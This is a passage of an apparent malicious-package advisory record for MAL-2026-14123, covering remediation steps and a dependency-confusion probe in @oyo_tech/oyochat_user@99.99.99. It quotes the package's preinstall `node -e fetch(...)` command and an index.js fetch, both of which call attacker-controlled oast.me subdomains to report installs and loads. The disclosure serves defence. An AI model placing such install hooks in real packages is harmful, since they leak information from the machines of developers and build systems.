If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-14123/ (Markdown: https://insights.sbomify.com/MAL-2026-14123/index.md)","id":"MAL-2026-14123","markdown":"https://insights.sbomify.com/MAL-2026-14123/index.md","name":"MAL-2026-14123","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"@oyo_tech/oyochat_user@99.99.99 is a dependency-confusion probe. package.json declares a preinstall script that runs `node -e \"fetch('https://dc.installed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/'+process.env.npm_package_name)\"`, causing `npm install` to make an outbound callback to an attacker-controlled interactsh (oast.me) subdomain and disclose that the package resolved on the installer's host. index.js additionally issues `fetch(\"https://dc.executed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/oyochat_user\")` on require/import, signalling that the package was actually loaded by a build. Distinct `installed.` and `executed.` subdomains under the same attacker-controlled OAST token are used to stage install-vs-execute telemetry. The 99.99.99 version and scoped org name are consistent with a dependency-confusion attack targeting an internal package name.
